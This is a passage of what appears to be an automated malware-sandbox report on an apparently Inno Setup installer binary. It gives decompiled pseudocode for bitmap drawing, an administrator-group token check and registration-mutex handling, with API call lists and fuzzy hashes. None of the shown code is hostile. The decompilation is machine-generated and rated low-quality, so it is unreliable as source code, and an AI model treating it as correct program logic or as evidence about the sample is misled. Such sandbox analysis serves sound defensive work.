                                                          						SetBkColor(_v32, E0041A270(E0041A8BC( *((intOrPtr*)(_t125 + 0x14)))));
                                                          					}
                                                          					if(_v8 == 0) {
                                                          						_pop(_t136);
                                                          						 *[fs:eax] = _t136;
                                                          						_pop(_t137);
                                                          						 *[fs:eax] = _t137;
                                                          						_push(0x41ce81);
                                                          						DeleteDC(_v32);
                                                          						_t71 = _v28;
                                                          						_push(_t71);
                                                          						_push(0);
                                                          						L0040621C();
                                                          						return _t71;
                                                          					} else {
                                                          						_t72 = _v28;
                                                          						_push(_t72);
                                                          						L00405CDC();
                                                          						_v36 = _t72;
                                                          						if(_v36 == 0) {
                                                          							E0041B5AC();
                                                          						}
                                                          						_push(_t147);
                                                          						_push(0x41ce22);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t150;
                                                          						E0041CA50(_v8);
                                                          						_v20 = SelectObject(_v36, _v8);
                                                          						if(_v12 != 0) {
                                                          							_push(1);
                                                          							_push(_v12);
                                                          							_push(_v36);
                                                          							L00405E34();
                                                          							_push(_v36);
                                                          							L00405DF4();
                                                          							_push(1);
                                                          							_push(_v12);
                                                          							_push(_v32);
                                                          							L00405E34();
                                                          							_push(_v32);
                                                          							L00405DF4();
                                                          						}
                                                          						if(_t125 != 0) {
                                                          							SetTextColor(_v36, E0041A270( *((intOrPtr*)( *((intOrPtr*)(_t125 + 0xc)) + 0x10))));
                                                          							SetBkColor(_v36, E0041A270(E0041A8BC( *((intOrPtr*)(_t125 + 0x14)))));
                                                          						}
                                                          						_push(0xcc0020);
                                                          						_push(0);
                                                          						_push(0);
                                                          						_push(_v36);
                                                          						_push(_t141);
                                                          						_push(_t144);
                                                          						_push(0);
                                                          						_push(0);
                                                          						_push(_v32);
                                                          						L00405CB4();
                                                          						SelectObject(_v36, _v20);
                                                          						_pop(_t138);
                                                          						 *[fs:eax] = _t138;
                                                          						_push(0x41ce29);
                                                          						return DeleteDC(_v36);
                                                          					}
                                                          				} else {
                                                          					return _v16;
                                                          				}
                                                          			}


























                                                          0x0041cc25
                                                          0x0041cc27
                                                          0x0041cc2d
                                                          0x0041cc2f
                                                          0x0041cc32
                                                          0x0041cc35
                                                          0x0041cc38
                                                          0x0041cc3d
                                                          0x0041cc44
                                                          0x0041cc56
                                                          0x0041cc58
                                                          0x0041cc5d
                                                          0x0041cc60
                                                          0x0041cc63
                                                          0x0041cc64
                                                          0x0041cc69
                                                          0x0041cc6e
                                                          0x0041cc6f
                                                          0x0041cc74
                                                          0x0041cc77
                                                          0x0041cc7e
                                                          0x0041cc92
                                                          0x0041cc93
                                                          0x0041cc94
                                                          0x0041cc97
                                                          0x0041cc98
                                                          0x0041cc9d
                                                          0x0041cc80
                                                          0x0041cc80
                                                          0x0041cc82
                                                          0x0041cc84
                                                          0x0041cc86
                                                          0x0041cc87
                                                          0x0041cc88
                                                          0x0041cc8d
                                                          0x0041cc8d
                                                          0x0041cca4
                                                          0x0041cca6
                                                          0x0041cca6
                                                          0x0041ccb8
                                                          0x0041ccbd
                                                          0x0041ccbe
                                                          0x0041ccc3
                                                          0x0041ccc6
                                                          0x0041cccb
                                                          0x0041cd30
                                                          0x0041cccd
                                                          0x0041ccd0
                                                          0x0041cce1
                                                          0x0041ccee
                                                          0x0041cd03
                                                          0x0041cd1a
                                                          0x0041cd1a
                                                          0x0041cd39
                                                          0x0041ce2b
                                                          0x0041ce2e
                                                          0x0041ce5a
                                                          0x0041ce5d
                                                          0x0041ce60
                                                          0x0041ce69
                                                          0x0041ce6e
                                                          0x0041ce71
                                                          0x0041ce72
                                                          0x0041ce74
                                                          0x0041ce79
                                                          0x0041cd3f
                                                          0x0041cd3f
                                                          0x0041cd42
                                                          0x0041cd43
                                                          0x0041cd48
                                                          0x0041cd4f
                                                          0x0041cd51
                                                          0x0041cd51
                                                          0x0041cd58
                                                          0x0041cd59
                                                          0x0041cd5e
                                                          0x0041cd61
                                                          0x0041cd67
                                                          0x0041cd79
                                                          0x0041cd80
                                                          0x0041cd82
                                                          0x0041cd87
                                                          0x0041cd8b
                                                          0x0041cd8c
                                                          0x0041cd94
                                                          0x0041cd95
                                                          0x0041cd9a
                                                          0x0041cd9f
                                                          0x0041cda3
                                                          0x0041cda4
                                                          0x0041cdac
                                                          0x0041cdad
                                                          0x0041cdad
                                                          0x0041cdb4
                                                          0x0041cdc6
                                                          0x0041cddd
                                                          0x0041cddd
                                                          0x0041cde2
                                                          0x0041cde7
                                                          0x0041cde9
                                                          0x0041cdee
                                                          0x0041cdef
                                                          0x0041cdf0
                                                          0x0041cdf1
                                                          0x0041cdf3
                                                          0x0041cdf8
                                                          0x0041cdf9
                                                          0x0041ce06
                                                          0x0041ce0d
                                                          0x0041ce10
                                                          0x0041ce13
                                                          0x0041ce21
                                                          0x0041ce21
                                                          0x0041ce81
                                                          0x0041ce8a
                                                          0x0041ce8a

                                                          APIs
                                                          • 72E5AC50.USER32(00000000,?,0041AB5C,?), ref: 0041CC58
                                                          • 72E5A590.GDI32(?,00000000,?,0041AB5C,?), ref: 0041CC64
                                                          • 72E5A410.GDI32(0041AB5C,?,00000001,00000001,00000000,00000000,0041CE7A,?,?,00000000,?,0041AB5C,?), ref: 0041CC88
                                                          • 72E5A520.GDI32(?,0041AB5C,?,00000000,0041CE7A,?,?,00000000,?,0041AB5C,?), ref: 0041CC98
                                                          • SelectObject.GDI32(0041D054,00000000), ref: 0041CCB3
                                                          • FillRect.USER32 ref: 0041CCEE
                                                          • SetTextColor.GDI32(0041D054,00000000), ref: 0041CD03
                                                          • SetBkColor.GDI32(0041D054,00000000), ref: 0041CD1A
                                                          • PatBlt.GDI32(0041D054,00000000,00000000,0041AB5C,?,00FF0062), ref: 0041CD30
                                                          • 72E5A590.GDI32(?,00000000,0041CE33,?,0041D054,00000000,?,0041AB5C,?,00000000,0041CE7A,?,?,00000000,?,0041AB5C), ref: 0041CD43
                                                          • SelectObject.GDI32(00000000,00000000), ref: 0041CD74
                                                          • 72E5B410.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,0041CE22,?,?,00000000,0041CE33,?,0041D054,00000000,?,0041AB5C), ref: 0041CD8C
                                                          • 72E5B150.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CE22,?,?,00000000,0041CE33,?,0041D054,00000000,?), ref: 0041CD95
                                                          • 72E5B410.GDI32(0041D054,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CE22,?,?,00000000,0041CE33), ref: 0041CDA4
                                                          • 72E5B150.GDI32(0041D054,0041D054,00000000,00000001,00000000,00000000,00000000,00000001,00000000,00000000,00000000,0041CE22,?,?,00000000,0041CE33), ref: 0041CDAD
                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0041CDC6
                                                          • SetBkColor.GDI32(00000000,00000000), ref: 0041CDDD
                                                          • 72E697E0.GDI32(0041D054,00000000,00000000,0041AB5C,?,00000000,00000000,00000000,00CC0020,00000000,00000000,00000000,0041CE22,?,?,00000000), ref: 0041CDF9
                                                          • SelectObject.GDI32(00000000,?), ref: 0041CE06
                                                          • DeleteDC.GDI32(00000000), ref: 0041CE1C
                                                            • Part of subcall function 0041A270: GetSysColor.USER32(?), ref: 0041A27A
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Color$ObjectSelect$A590B150B410Text$A410A520DeleteE697FillRect
                                                          • String ID:
                                                          • API String ID: 3921020894-0
                                                          • Opcode ID: 944c1c95d1dca08d2a74b660a3b506fc8d4a7edc4657660e861d659317bdacc3
                                                          • Instruction ID: 2dcfbf729b2cf2b3e275a9ab9bf4f5d19ed99089cd167bdae99dd7ee67551e46
                                                          • Opcode Fuzzy Hash: 944c1c95d1dca08d2a74b660a3b506fc8d4a7edc4657660e861d659317bdacc3
                                                          • Instruction Fuzzy Hash: 7461CC71A44618AFDF10EBE5DC86FEFB7B8EB48704F10446AB504E7281D67C9941CB68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 40%
                                                          			E0042DFF0(long __eax, void* __edi) {
                                                          				char _v5;
                                                          				void* _v12;
                                                          				signed int _v16;
                                                          				void* _v20;
                                                          				long _v24;
                                                          				void* _v28;
                                                          				struct HINSTANCE__* _t91;
                                                          				struct HINSTANCE__* _t95;
                                                          				signed int _t96;
                                                          				intOrPtr _t101;
                                                          				intOrPtr _t102;
                                                          				void* _t107;
                                                          				void* _t108;
                                                          				void* _t110;
                                                          				void* _t112;
                                                          				intOrPtr _t113;
                                                          
                                                          				_t110 = _t112;
                                                          				_t113 = _t112 + 0xffffffe8;
                                                          				if( *0x48c0e0 == 2) {
                                                          					_v5 = 0;
                                                          					if(AllocateAndInitializeSid( &E0048C79C, 2, 0x20, __eax, 0, 0, 0, 0, 0, 0,  &_v12) == 0) {
                                                          						goto L26;
                                                          					} else {
                                                          						_push(_t110);
                                                          						_push(0x42e1d4);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t113;
                                                          						_t95 = 0;
                                                          						if((GetVersion() & 0x000000ff) >= 5) {
                                                          							_push("CheckTokenMembership");
                                                          							_t91 = GetModuleHandleA("advapi32.dll");
                                                          							_push(_t91);
                                                          							L00405AA4();
                                                          							_t95 = _t91;
                                                          						}
                                                          						if(_t95 == 0) {
                                                          							_v28 = 0;
                                                          							if(OpenThreadToken(GetCurrentThread(), 8, 1,  &_v20) != 0) {
                                                          								L13:
                                                          								_push(_t110);
                                                          								_push(0x42e1b6);
                                                          								_push( *[fs:eax]);
                                                          								 *[fs:eax] = _t113;
                                                          								_v24 = 0;
                                                          								if(GetTokenInformation(_v20, 2, 0, 0,  &_v24) != 0 || GetLastError() == 0x7a) {
                                                          									_v28 = E00402650(_v24);
                                                          									if(GetTokenInformation(_v20, 2, _v28, _v24,  &_v24) != 0) {
                                                          										_t107 =  *_v28 - 1;
                                                          										if(_t107 >= 0) {
                                                          											_t108 = _t107 + 1;
                                                          											_t96 = 0;
                                                          											while(EqualSid(_v12,  *(_v28 + 4 + _t96 * 8)) == 0 || ( *(_v28 + 8 + _t96 * 8) & 0x00000014) != 4) {
                                                          												_t96 = _t96 + 1;
                                                          												_t108 = _t108 - 1;
                                                          												if(_t108 != 0) {
                                                          													continue;
                                                          												}
                                                          												goto L24;
                                                          											}
                                                          											_v5 = 1;
                                                          										}
                                                          										L24:
                                                          										_pop(_t101);
                                                          										 *[fs:eax] = _t101;
                                                          										_push(E0042E1BD);
                                                          										E00402668(_v28);
                                                          										return CloseHandle(_v20);
                                                          									} else {
                                                          										E00403304();
                                                          										E00403304();
                                                          										goto L26;
                                                          									}
                                                          								} else {
                                                          									E00403304();
                                                          									E00403304();
                                                          									goto L26;
                                                          								}
                                                          							} else {
                                                          								if(GetLastError() == 0x3f0) {
                                                          									if(OpenProcessToken(GetCurrentProcess(), 8,  &_v20) != 0) {
                                                          										goto L13;
                                                          									} else {
                                                          										E00403304();
                                                          										goto L26;
                                                          									}
                                                          								} else {
                                                          									E00403304();
                                                          									goto L26;
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_push( &_v16);
                                                          							_push(_v12);
                                                          							_push(0);
                                                          							if(_t95->i() != 0) {
                                                          								asm("sbb eax, eax");
                                                          								_v5 =  ~( ~_v16);
                                                          							}
                                                          							_pop(_t102);
                                                          							 *[fs:eax] = _t102;
                                                          							_push(E0042E1DB);
                                                          							return FreeSid(_v12);
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_v5 = 1;
                                                          					L26:
                                                          					return _v5;
                                                          				}
                                                          			}



















                                                          0x0042dff1
                                                          0x0042dff3
                                                          0x0042e001
                                                          0x0042e00c
                                                          0x0042e031
                                                          0x00000000
                                                          0x0042e037
                                                          0x0042e039
                                                          0x0042e03a
                                                          0x0042e03f
                                                          0x0042e042
                                                          0x0042e045
                                                          0x0042e054
                                                          0x0042e056
                                                          0x0042e060
                                                          0x0042e065
                                                          0x0042e066
                                                          0x0042e06b
                                                          0x0042e06b
                                                          0x0042e06f
                                                          0x0042e098
                                                          0x0042e0b0
                                                          0x0042e0e7
                                                          0x0042e0e9
                                                          0x0042e0ea
                                                          0x0042e0ef
                                                          0x0042e0f2
                                                          0x0042e0f7
                                                          0x0042e10f
                                                          0x0042e132
                                                          0x0042e14e
                                                          0x0042e161
                                                          0x0042e164
                                                          0x0042e166
                                                          0x0042e167
                                                          0x0042e169
                                                          0x0042e193
                                                          0x0042e194
                                                          0x0042e195
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042e195
                                                          0x0042e18d
                                                          0x0042e18d
                                                          0x0042e197
                                                          0x0042e199
                                                          0x0042e19c
                                                          0x0042e19f
                                                          0x0042e1a7
                                                          0x0042e1b5
                                                          0x0042e150
                                                          0x0042e150
                                                          0x0042e155
                                                          0x00000000
                                                          0x0042e155
                                                          0x0042e11b
                                                          0x0042e11b
                                                          0x0042e120
                                                          0x00000000
                                                          0x0042e120
                                                          0x0042e0b2
                                                          0x0042e0bc
                                                          0x0042e0db
                                                          0x00000000
                                                          0x0042e0dd
                                                          0x0042e0dd
                                                          0x00000000
                                                          0x0042e0dd
                                                          0x0042e0be
                                                          0x0042e0be
                                                          0x00000000
                                                          0x0042e0be
                                                          0x0042e0bc
                                                          0x0042e071
                                                          0x0042e074
                                                          0x0042e078
                                                          0x0042e079
                                                          0x0042e07f
                                                          0x0042e08a
                                                          0x0042e08e
                                                          0x0042e08e
                                                          0x0042e1bf
                                                          0x0042e1c2
                                                          0x0042e1c5
                                                          0x0042e1d3
                                                          0x0042e1d3
                                                          0x0042e06f
                                                          0x0042e003
                                                          0x0042e003
                                                          0x0042e1db
                                                          0x0042e1e3
                                                          0x0042e1e3

                                                          APIs
                                                          • AllocateAndInitializeSid.ADVAPI32(0048C79C,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E02A
                                                          • GetVersion.KERNEL32(00000000,0042E1D4,?,0048C79C,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E047
                                                          • GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E1D4,?,0048C79C,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E060
                                                          • 6CAA5550.KERNEL32(00000000,advapi32.dll,CheckTokenMembership,00000000,0042E1D4,?,0048C79C,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E066
                                                          • FreeSid.ADVAPI32(00000000,0042E1DB,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E1CE
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550AllocateFreeHandleInitializeModuleVersion
                                                          • String ID: CheckTokenMembership$advapi32.dll
                                                          • API String ID: 1358278336-1888249752
                                                          • Opcode ID: 0a343d7191ddbb138dd306094067531a40a914f36f96b9cd5ffafa6658afd810
                                                          • Instruction ID: 5b182264c5db843ab3fed9760e8fc3029a527c853adf20fb54b9cacce15076cf
                                                          • Opcode Fuzzy Hash: 0a343d7191ddbb138dd306094067531a40a914f36f96b9cd5ffafa6658afd810
                                                          • Instruction Fuzzy Hash: 8D518671B04615AADB10EAE79C82FBF77ACDB04704F54047BBA01E62C2D67CD9118B6A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 73%
                                                          			E0048AB3C(void* __ebx, void* __edi, void* __esi) {
                                                          				char _v5;
                                                          				char _v6;
                                                          				void* _v12;
                                                          				intOrPtr _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				char _v32;
                                                          				void* _v36;
                                                          				char _v40;
                                                          				char _v44;
                                                          				char _v52;
                                                          				char _t62;
                                                          				void* _t89;
                                                          				void* _t119;
                                                          				intOrPtr _t121;
                                                          				intOrPtr _t125;
                                                          				char _t126;
                                                          				char _t130;
                                                          				char _t134;
                                                          				char _t137;
                                                          				long _t149;
                                                          				void* _t153;
                                                          				intOrPtr _t174;
                                                          				intOrPtr _t181;
                                                          				intOrPtr _t182;
                                                          				intOrPtr _t184;
                                                          				intOrPtr _t188;
                                                          				intOrPtr _t191;
                                                          				intOrPtr _t197;
                                                          				intOrPtr _t198;
                                                          
                                                          				_t195 = __esi;
                                                          				_t194 = __edi;
                                                          				_t197 = _t198;
                                                          				_t153 = 6;
                                                          				do {
                                                          					_push(0);
                                                          					_push(0);
                                                          					_t153 = _t153 - 1;
                                                          				} while (_t153 != 0);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_push(_t197);
                                                          				_push(0x48aee9);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t198;
                                                          				E0042D468(1, 0x48d628,  &_v44, __edi, __esi);
                                                          				if(E00406B28(_v44, 0x48af00) != 0) {
                                                          					E0042D468(1, 0x48d628,  &_v44, __edi, __esi);
                                                          					_t62 = E00406B28(_v44, 0x48af10);
                                                          					__eflags = _t62;
                                                          					if(_t62 != 0) {
                                                          						__eflags = 0;
                                                          						_pop(_t174);
                                                          						 *[fs:eax] = _t174;
                                                          						_push(E0048AEF0);
                                                          						return E00403568( &_v52, 9);
                                                          					} else {
                                                          						_v5 = 0;
                                                          						goto L6;
                                                          					}
                                                          				} else {
                                                          					_v5 = 1;
                                                          					L6:
                                                          					E004244DC( *0x48d628, 0x48af20, _t194);
                                                          					ShowWindow( *( *0x48d628 + 0x20), 5);
                                                          					E00473CC0();
                                                          					_v12 = CreateMutexA(0, 0, "Inno-Setup-RegSvr-Mutex");
                                                          					ShowWindow( *( *0x48d628 + 0x20), 0);
                                                          					if(_v12 != 0) {
                                                          						do {
                                                          							E004246C4( *0x48d628);
                                                          							_t149 = MsgWaitForMultipleObjects(1,  &_v12, 0, 0xffffffff, 0xff);
                                                          							_t202 = _t149 == 1;
                                                          						} while (_t149 == 1);
                                                          					}
                                                          					ShowWindow( *( *0x48d628 + 0x20), 5);
                                                          					_push(_t197);
                                                          					_push(0x48aec7);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t198;
                                                          					E0042D468(0, 0x48d628,  &_v44, _t194, _t195);
                                                          					E0042C6B8(_v44, 0x48d628,  &_v20, 0x48af48, _t194, _t195, _t202);
                                                          					E0042D468(0, 0x48d628,  &_v44, _t194, _t195);
                                                          					E0042C6B8(_v44, 0x48d628,  &_v24, 0x48af58, _t194, _t195, _t202);
                                                          					_t89 = E0042CE14(_t202);
                                                          					_t203 = _t89;
                                                          					if(_t89 == 0) {
                                                          						E00407064(_v24);
                                                          						E00407064(_v20);
                                                          						_push(_t197);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t198;
                                                          						E0048AA00(0x48d628,  &_v24, _t194, _t195, __eflags);
                                                          						_pop(_t181);
                                                          						 *[fs:eax] = _t181;
                                                          						_t182 = 0x48ae97;
                                                          						 *[fs:eax] = _t182;
                                                          						_push(E0048AECE);
                                                          						__eflags = _v12;
                                                          						if(_v12 != 0) {
                                                          							ReleaseMutex(_v12);
                                                          							return CloseHandle(_v12);
                                                          						}
                                                          						return 0;
                                                          					} else {
                                                          						E00450DB0(_v20, 0x48d628, 0, 0, _t194, _t195, _t203);
                                                          						_t184 =  *0x48ddc0; // 0x21db5c8
                                                          						E004244DC( *0x48d628, _t184, _t194);
                                                          						E00452118( &_v28, 0x48d628, _t184, _t194, _t195);
                                                          						_push(_t197);
                                                          						_push(0x48ae63);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t198;
                                                          						E0048AAA4(_v28, 0x48d628,  &_v32, _t194, _t195);
                                                          						_v16 = E0044FF24(_v24, 1, 1, 0, 2);
                                                          						_push(_t197);
                                                          						_push(0x48ae2b);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t198;
                                                          						while(E004502B0(_v16) == 0) {
                                                          							E004502C0(_v16, 0x48d628,  &_v36, _t194, _t195);
                                                          							_t119 = E004036BC(_v36);
                                                          							__eflags = _t119 - 4;
                                                          							if(_t119 > 4) {
                                                          								__eflags =  *_v36 - 0x5b;
                                                          								if( *_v36 == 0x5b) {
                                                          									_t121 = _v36;
                                                          									__eflags =  *((char*)(_t121 + 3)) - 0x5d;
                                                          									if( *((char*)(_t121 + 3)) == 0x5d) {
                                                          										E004038C0(_v36, 0x7fffffff, 5,  &_v40);
                                                          										_t125 = _v36;
                                                          										__eflags =  *((char*)(_t125 + 2)) - 0x71;
                                                          										if( *((char*)(_t125 + 2)) == 0x71) {
                                                          											L17:
                                                          											_t126 = 1;
                                                          										} else {
                                                          											__eflags = _v5;
                                                          											if(_v5 == 0) {
                                                          												L16:
                                                          												_t126 = 0;
                                                          											} else {
                                                          												__eflags =  *0x4ae252;
                                                          												if( *0x4ae252 == 0) {
                                                          													goto L17;
                                                          												} else {
                                                          													goto L16;
                                                          												}
                                                          											}
                                                          										}
                                                          										_v6 = _t126;
                                                          										_push(_t197);
                                                          										_push(0x48ad9b);
                                                          										_push( *[fs:eax]);
                                                          										 *[fs:eax] = _t198;
                                                          										_t39 = _v36 + 1; // 0xfff77da0
                                                          										_t130 =  *_t39 - 0x53;
                                                          										__eflags = _t130;
                                                          										if(__eflags == 0) {
                                                          											E00456530(0, 0x48d628, _v6, _v40, _t194, _t195, __eflags);
                                                          										} else {
                                                          											_t134 = _t130 - 1;
                                                          											__eflags = _t134;
                                                          											if(_t134 == 0) {
                                                          												__eflags = 0;
                                                          												E004566E4(0, 0x48d628, _v40, _t194, _t195);
                                                          											} else {
                                                          												_t137 = _t134 - 0x1f;
                                                          												__eflags = _t137;
                                                          												if(_t137 == 0) {
                                                          													E00454394(_v6);
                                                          												} else {
                                                          													__eflags = _t137 == 1;
                                                          													if(_t137 == 1) {
                                                          														E00454A9C(_v40, 0x48d628, _t194, _t195);
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          										_pop(_t191);
                                                          										 *[fs:eax] = _t191;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						_pop(_t188);
                                                          						 *[fs:eax] = _t188;
                                                          						_push(E0048AE32);
                                                          						return E00402CA0(_v16);
                                                          					}
                                                          				}
                                                          			}


































                                                          0x0048ab3c
                                                          0x0048ab3c
                                                          0x0048ab3d
                                                          0x0048ab3f
                                                          0x0048ab44
                                                          0x0048ab44
                                                          0x0048ab46
                                                          0x0048ab48
                                                          0x0048ab48
                                                          0x0048ab4c
                                                          0x0048ab4d
                                                          0x0048ab55
                                                          0x0048ab56
                                                          0x0048ab5b
                                                          0x0048ab5e
                                                          0x0048ab69
                                                          0x0048ab7d
                                                          0x0048ab8d
                                                          0x0048ab9a
                                                          0x0048ab9f
                                                          0x0048aba1
                                                          0x0048aece
                                                          0x0048aed0
                                                          0x0048aed3
                                                          0x0048aed6
                                                          0x0048aee8
                                                          0x0048aba7
                                                          0x0048aba7
                                                          0x00000000
                                                          0x0048aba7
                                                          0x0048ab7f
                                                          0x0048ab7f
                                                          0x0048abab
                                                          0x0048abb2
                                                          0x0048abbf
                                                          0x0048abc4
                                                          0x0048abd7
                                                          0x0048abe2
                                                          0x0048abeb
                                                          0x0048abed
                                                          0x0048abef
                                                          0x0048ac03
                                                          0x0048ac08
                                                          0x0048ac08
                                                          0x0048abed
                                                          0x0048ac13
                                                          0x0048ac1a
                                                          0x0048ac1b
                                                          0x0048ac20
                                                          0x0048ac23
                                                          0x0048ac2b
                                                          0x0048ac3b
                                                          0x0048ac45
                                                          0x0048ac55
                                                          0x0048ac5d
                                                          0x0048ac62
                                                          0x0048ac64
                                                          0x0048ae6d
                                                          0x0048ae75
                                                          0x0048ae7c
                                                          0x0048ae82
                                                          0x0048ae85
                                                          0x0048ae88
                                                          0x0048ae8f
                                                          0x0048ae92
                                                          0x0048aea3
                                                          0x0048aea6
                                                          0x0048aea9
                                                          0x0048aeae
                                                          0x0048aeb2
                                                          0x0048aeb8
                                                          0x00000000
                                                          0x0048aec1
                                                          0x0048aec6
                                                          0x0048ac6a
                                                          0x0048ac71
                                                          0x0048ac76
                                                          0x0048ac7e
                                                          0x0048ac86
                                                          0x0048ac8d
                                                          0x0048ac8e
                                                          0x0048ac93
                                                          0x0048ac96
                                                          0x0048ac9f
                                                          0x0048acb9
                                                          0x0048acbe
                                                          0x0048acbf
                                                          0x0048acc4
                                                          0x0048acc7
                                                          0x0048ae05
                                                          0x0048acd5
                                                          0x0048acdd
                                                          0x0048ace2
                                                          0x0048ace5
                                                          0x0048acee
                                                          0x0048acf1
                                                          0x0048acf7
                                                          0x0048acfa
                                                          0x0048acfe
                                                          0x0048ad15
                                                          0x0048ad1a
                                                          0x0048ad1d
                                                          0x0048ad21
                                                          0x0048ad36
                                                          0x0048ad36
                                                          0x0048ad23
                                                          0x0048ad23
                                                          0x0048ad27
                                                          0x0048ad32
                                                          0x0048ad32
                                                          0x0048ad29
                                                          0x0048ad29
                                                          0x0048ad30
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0048ad30
                                                          0x0048ad27
                                                          0x0048ad38
                                                          0x0048ad3d
                                                          0x0048ad3e
                                                          0x0048ad43
                                                          0x0048ad46
                                                          0x0048ad4c
                                                          0x0048ad4f
                                                          0x0048ad4f
                                                          0x0048ad51
                                                          0x0048ad76
                                                          0x0048ad53
                                                          0x0048ad53
                                                          0x0048ad53
                                                          0x0048ad55
                                                          0x0048ad8a
                                                          0x0048ad8c
                                                          0x0048ad57
                                                          0x0048ad57
                                                          0x0048ad57
                                                          0x0048ad59
                                                          0x0048ad67
                                                          0x0048ad5b
                                                          0x0048ad5b
                                                          0x0048ad5d
                                                          0x0048ad80
                                                          0x0048ad80
                                                          0x0048ad5d
                                                          0x0048ad59
                                                          0x0048ad55
                                                          0x0048ad93
                                                          0x0048ad96
                                                          0x0048ad96
                                                          0x0048acfe
                                                          0x0048acf1
                                                          0x0048ace5
                                                          0x0048ae17
                                                          0x0048ae1a
                                                          0x0048ae1d
                                                          0x0048ae2a
                                                          0x0048ae2a
                                                          0x0048ac64

                                                          APIs
                                                          • ShowWindow.USER32(?,00000005,00000000,0048AEE9,?,?,00000000,?,00000000,00000000,?,0048B209,00000000,0048B213,?,00000000), ref: 0048ABBF
                                                          • CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0048AEE9,?,?,00000000,?,00000000,00000000,?,0048B209,00000000), ref: 0048ABD2
                                                          • ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0048AEE9,?,?,00000000,?,00000000,00000000), ref: 0048ABE2
                                                          • MsgWaitForMultipleObjects.USER32 ref: 0048AC03
                                                          • ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0048AEE9,?,?,00000000,?,00000000), ref: 0048AC13
                                                            • Part of subcall function 0042D468: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4F3,?,?,00000000,?,?,0048A56C,00000000,0048A6FF,?,?,00000005), ref: 0042D49D
                                                            • Part of subcall function 0044FF24: 6CAA5CA0.KERNEL32(00000000,?,00000000,00000000,?,00000080,00000000,?,00000000,?,?,0048A596,00000001,00000000,00000002,00000000), ref: 0044FF7D
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
                                                          • String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
                                                          • API String ID: 2000705611-3672972446
                                                          • Opcode ID: df23275077c8387b57a94903f1cf9ae6f1ce578ebee1f32d9f849e06fde58e3e
